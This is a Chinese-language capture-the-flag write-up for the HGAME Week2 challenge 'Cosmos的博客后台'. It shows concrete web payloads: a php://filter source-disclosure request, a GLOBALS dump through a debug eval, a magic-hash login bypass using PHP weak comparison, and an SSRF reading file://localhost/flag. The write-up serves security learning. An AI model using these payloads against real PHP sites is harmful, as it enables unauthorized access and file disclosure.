• [HGAME Week2] Cosmos的博客后台


    觉得这道题考察的东西比较综合而且比较简单,就写上了。因为写这篇文章的时候环境已经关闭了,所以引用了其他师傅wp的图片
    本题考察了:php://filter伪协议文件包含、var_dump()输出GLOBALS全局变量、PHP弱类型比较、file://伪协议造成SSRF

    首先利用action传参,使用php://filter伪协议构造Payload:

    ?action=php://filter/read=convert.base64-encode/resource=login.php

    获得login.php源码,审计发现其中存在代码执行的一段代码:

    //Only for debug
    if (DEBUG_MODE){
        if(isset($_GET['debug'])) {
            $debug = $_GET['debug'];
            if (!preg_match("/^[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*$/", $debug)) {
                die("args error!");
            }
            eval("var_dump($$debug);");
        }
    }

    可以看到使用正则来过滤debug的值,但仍可以向debug参数传入GLOBALS

    访问:login.php?debug=GLOBALS 获得全局变量

    array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "dafomj6kpimlm5h438rhp36398" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { } ["GLOBALS"]=> array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "dafomj6kpimlm5h438rhp36398" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { } ["GLOBALS"]=> *RECURSION* } }

     

    可以看到管理员密码md5值是"0exxxxx",login.php在进行密码校验时使用"==",考虑PHP弱类型比较,所以找MD5后为0e开头的值即可,这里分享一个:240610708

    成功登录到后台admin.php,依照前面的方法获取admin.php的源代码,其中突破点在这个函数:

    function insert_img() {
        if (isset($_POST['img_url'])) {
            $img_url = @$_POST['img_url'];
            $url_array = parse_url($img_url);
            if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
                return false;
            }   
            $c = curl_init();
            curl_setopt($c, CURLOPT_URL, $img_url);
            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
            $res = curl_exec($c);
            curl_close($c);
            $avatar = base64_encode($res);
    
    
            if(filter_var($img_url, FILTER_VALIDATE_URL)) {
                return $avatar;
            }
        }
        else {
            return base64_encode(file_get_contents("static/logo.png"));
        }
    }

     此处审计出一处SSRF漏洞,结合之前发现的漏洞可以构出如下Payload获取Flag:

    file://localhost/flag

    发送数据后,复制下面的图片地址,对后面的base64字符串解码得到flag

    #图片来源: https://blog.csdn.net/weixin_43900387/article/details/104105765

     

     

  • 相关阅读:
    洛谷P3165 [CQOI2014]排序机械臂
    splay详解(一)
    存储过程解题
    使用zxing生成二维码
    Cognos 图表用图片取代”没有数据显示”
    哪些响应式布局框架是设计师使用的?
    A shallow summary of oracle log miner
    雅虎UED--无障碍网页设计
    smarty 截取字符串,调用php中的方法,foreach循环
    一个页面重构工程师眼中的“用户体验”
  • 原文地址:https://www.cnblogs.com/yesec/p/12231777.html
Copyright © 2020-2023  润新知